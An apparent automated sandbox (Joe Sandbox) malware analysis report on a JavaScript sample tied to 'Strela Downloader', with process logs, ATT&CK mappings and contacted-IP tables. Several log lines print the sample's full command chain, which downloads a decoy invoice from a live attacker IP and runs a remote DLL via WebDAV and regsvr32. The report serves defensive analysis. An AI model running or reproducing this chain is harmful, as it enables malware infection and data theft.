Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3659			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6215			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7228	Thread sleep count: 3659 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7224	Thread sleep count: 6215 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1424	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1412	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7056	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1268	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1372926892.000001F0B8C60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWy
Source: net.exe, 00000007.00000002.1372926892.000001F0B8C60000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372561463.000001F0B8BF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2584259929.000001561865A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2582718698.000001561302B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
280109871157958128.js	5%	Virustotal		Browse
280109871157958128.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/~	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/A	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/F	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1306732832.0000018FC3659000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1306986265.0000018FC506F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2584084045.0000015618612000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/F	net.exe, 00000007.00000003.1368171290.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372775924.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1372561463.000001F0B8BF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1363134374.000001F0B8C4E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1368171290.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372775924.000001F0B8C21000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1368171290.000001F0B8C21000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372775924.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372899458.000001F0B8C50000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/A	net.exe, 00000007.00000003.1368171290.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372775924.000001F0B8C28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1372101604.00000156184A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/~	net.exe, 00000007.00000002.1372561463.000001F0B8BF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587834
Start date and time:	2025-01-10 18:22:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	280109871157958128.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 23.57.90.73, 23.57.90.68, 23.57.90.75, 23.57.90.74, 23.57.90.69, 23.57.90.79, 192.168.2.10, 13.107.246.45, 3.219.243.226, 20.109.210.53, 173.222.162.55, 96.17.64.171
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:23:51	API Interceptor	22x Sleep call for process: powershell.exe modified
12:23:55	API Interceptor	1x Sleep call for process: net.exe modified
12:23:56	API Interceptor	2x Sleep call for process: svchost.exe modified
12:24:03	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2486775641261320080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807462104146594
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9C:0J7adfWuK0p/QDfKoPeuP0aN4fqoxB
MD5:	608F2E10F5B59D4783253CF5A2A9B1CA
SHA1:	163F7182566946DE98D6069D183B0374B7BF86CA
SHA-256:	C5681E9460FBA8124D474DA2308D5E82BBDBC0301789280889DC26B898EDBDE6
SHA-512:	12680B79ED0F62B67D09CBEA3E5AFC0818FD9C0C60069A1B0676F7A121A0DCF09CA8B6FA0EAB09D9992BF88B286FEA4AD52697037D8135AA204305891C6CC382
Malicious:	false
